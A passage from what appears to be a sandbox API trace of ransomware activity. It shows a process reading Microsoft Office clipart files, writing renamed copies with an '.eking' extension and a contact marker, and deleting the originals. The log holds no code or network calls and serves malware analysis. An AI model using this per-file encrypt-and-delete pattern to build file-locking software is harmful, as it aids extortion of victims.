dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.549] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=880) returned 1 [0263.551] CloseHandle (hObject=0x3a0) returned 1 [0263.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0263.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0263.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.553] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.553] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0263.554] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x370, lpOverlapped=0x0) returned 1 [0263.576] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x380, lpOverlapped=0x0) returned 1 [0263.578] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.578] CloseHandle (hObject=0x3a0) returned 1 [0263.579] CloseHandle (hObject=0x398) returned 1 [0263.579] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0 [0263.580] SetEvent (hEvent=0x2b8) returned 1 [0263.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.597] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1464) returned 1 [0263.597] CloseHandle (hObject=0x390) returned 1 [0263.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0263.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0263.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.599] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.599] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0263.600] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x5b8, lpOverlapped=0x0) returned 1 [0263.723] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x5c0, lpOverlapped=0x0) returned 1 [0263.724] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.724] CloseHandle (hObject=0x390) returned 1 [0263.725] CloseHandle (hObject=0x348) returned 1 [0263.726] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0 [0263.727] SetEvent (hEvent=0x2b8) returned 1 [0263.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0263.728] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3986) returned 1 [0263.728] CloseHandle (hObject=0x348) returned 1 [0263.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0263.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0263.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0263.729] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.729] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0263.730] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xf92, lpOverlapped=0x0) returned 1 [0263.738] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xfa0, lpOverlapped=0x0) returned 1 [0263.740] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.740] CloseHandle (hObject=0x348) returned 1 [0263.740] CloseHandle (hObject=0x390) returned 1 [0263.741] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0 [0263.741] SetEvent (hEvent=0x2b8) returned 1 [0263.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.744] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8070) returned 1 [0263.744] CloseHandle (hObject=0x390) returned 1 [0263.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0263.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0263.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.745] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.745] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0263.750] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1f86, lpOverlapped=0x0) returned 1 [0263.823] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1f90, lpOverlapped=0x0) returned 1 [0263.826] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.827] CloseHandle (hObject=0x390) returned 1 [0263.827] CloseHandle (hObject=0x354) returned 1 [0263.828] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0 [0263.830] SetEvent (hEvent=0x2b8) returned 1 [0263.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.832] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4024) returned 1 [0263.832] CloseHandle (hObject=0x354) returned 1 [0263.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0263.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0263.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.833] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.833] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0263.842] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xfb8, lpOverlapped=0x0) returned 1 [0263.940] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xfc0, lpOverlapped=0x0) returned 1 [0263.942] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.942] CloseHandle (hObject=0x354) returned 1 [0263.942] CloseHandle (hObject=0x3a0) returned 1 [0263.943] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0 [0263.943] SetEvent (hEvent=0x2b8) returned 1 [0263.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.944] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14444) returned 1 [0263.944] CloseHandle (hObject=0x3a0) returned 1 [0263.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0263.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0263.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.945] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.945] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0263.946] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x386c, lpOverlapped=0x0) returned 1 [0263.951] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3870, lpOverlapped=0x0) returned 1 [0263.952] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.953] CloseHandle (hObject=0x3a0) returned 1 [0263.953] CloseHandle (hObject=0x354) returned 1 [0263.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0 [0263.954] SetEvent (hEvent=0x2b8) returned 1 [0263.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.955] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1536) returned 1 [0263.955] CloseHandle (hObject=0x354) returned 1 [0263.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0263.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0263.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0263.956] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.956] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0263.957] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x600, lpOverlapped=0x0) returned 1 [0263.963] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x610, lpOverlapped=0x0) returned 1 [0263.965] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0263.965] CloseHandle (hObject=0x354) returned 1 [0263.965] CloseHandle (hObject=0x3a0) returned 1 [0263.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0 [0263.966] SetEvent (hEvent=0x2b8) returned 1 [0263.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.967] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4708) returned 1 [0263.967] CloseHandle (hObject=0x3a0) returned 1 [0263.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0263.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 